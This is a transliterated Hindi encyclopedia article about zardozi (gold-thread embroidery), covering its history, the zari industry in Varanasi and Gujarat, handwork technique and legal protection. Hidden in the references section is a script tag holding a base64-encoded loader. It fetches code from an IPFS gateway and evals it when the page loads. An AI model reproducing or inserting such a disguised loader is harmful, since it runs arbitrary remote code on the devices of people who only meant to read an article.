ज़रदोज़ी
[[chitr:Zardozi-Work.jpg|thumb|250px|zari ka kam]] thumb|250px|zaradozi [[chitr:Zardozi-Work-1.jpg|thumb|250px|zari ka kam karate karigar]] zari ke kary ko zaradozi kadhaee kahate hai. yah kary bharat mean rrigved ke samay se prachalit hai. yah kary mugal badashah akabar ke samay mean aur mazaboot hua. lekin bad mean rajasi sanrakshan ke abhav aur audyogikaran ke daur mean isaka patan hone laga. vartaman mean yah kary phir ubhara hai. ab yah kary bharat ke lakhanoo, bhopal aur chennee jaise kee mahanagaroan mean ho raha hai. zaradozi ka nam farasi se aya hai, jisaka arth hai: sone ki kadhaee.[1]
zari
zari sone ka pani chadha hua chaandi ka tar hai tatha is tar se bane vastr bhi zari kahalate haian.
udyog ke roop mean
bharat ka zari udyog prachin kal se vishvavikhyat raha hai or yahaan ke bane zari vastroan ko dharan kar desh videsh ke nripati apane ko gauravanvit samajhate rahe haian. kashi zari udyog ka keandr raha hai. banaras ki prasiddh banarasi s diyaan aur dupatte shatabdiyoan se lokapriy rahe haian. aj inaki khapat, amerika, briten aur roos adi deshoan mean kshipr gati se vriddhi prapt kar rahi hai. gujarat vartaman bharatiy zari tar udyog ka keandr hai. isake poorv kashi hi isaka keandr tha. pahale chaandi ke taroan ko sone ki patali pattaroan par khianchakar sunahala banaya jata tha, kiantu vijnan ko unnati ne is shramasadhy vidhi ke sthan par vidyudvishleshan vidhi pradan ki hai. videsh se ane vale zari ke tar isi vidhi dvara sunahale banae jate haian aur bharatiy vidhi se bane taroan ki apeksha saste bhi hote haian.
sooti vastroan ke lie
ab zari shabd ka vyavahar ubha dadar abhikalp ke bane sooti vastroan ke lie bhi hone laga hai. in vastroan ke aantargat parde tatha bachchoan evan striyoan ke pahanane ke vastr ate haian. sooti zari vastr donoan or ek-sa ya ulta sidha hota hai. isake ulta sidha hone par tane bane kee rang, vibhinn sankhya aur kee kism ke ho sakate haian. parde ke tane-bane ki sankhya aur kism mean pahanane ke vastr ki apeksha kam vishamata hoti hai.
hath dvara
zari ke kam ki khasiyat ye hoti hai ki ye kam hath se kiya jata hai isamean kisi bhi tarah ki mashin ka koee istemal nahian hota hai. hath se kiya gaya ye kam itana bariq aur khoobasoorat hota hai ki koee bhi isaki tariph kie bina nahian rah sakata hath se ki gee is karigari mean ek dijain ko poora karane mean kee-kee din lag jate haian. lak di ka adda (phrem) banakar usamean salama-sitare, katadana, kasab, nalaki, moti, ston adi b di saphaee se taankate hai.[2]
zari ke kam ko qanooni manyata
desh-videsh mean apane behatarin dijainoan ke lie mashahoor banaras ki sa di aur zari ke kam ko bhaugolik rup se qanooni sanrakshan mil gaya hai. yah sanrakshan kap da mantralay ke tahat kap da samiti ne bhaugolik sanket qanoon 1999 ke tahat pradan kiya hai. samiti kap da mantralay ke tahat ek sanvaidhanik sanstha hai. desh ke is paramparagat khazane par ghareloo utpadakoan aur ayatakoan dvara hamesha atikraman kiya jata raha hai. in utpadoan ki ooanchi kimat aur bazar hisse ko atikraman ke zariye u da liya jata tha. sanrakshan se banaras ke in utpadoan ko desh aur videsh mean vikas karane mean madad milegi.[3]
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tika tippani aur sandarbh
meharotra, ajit narayan “khand 4”, hindi vishvakosh (hindi). bharatadiskavari pustakalay: nagari pracharini sabha varanasi, prishth sankhya- 400.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ Zardozi in India (aangrezi) (ech.ti.em.el) Culture india. abhigaman tithi: 2 mee, 2011.
- ↑ dhuandhali p d rahi hai jari karigari ki chamak (hindi) (pi.ech.pi) janokti. abhigaman tithi: 2 mee, 2011.
- ↑ zari ke kam ko qanooni manyata (hindi) (pi.ech.pi) complete Grassroots news update. abhigaman tithi: 2 mee, 2011.
sanbandhit lekh
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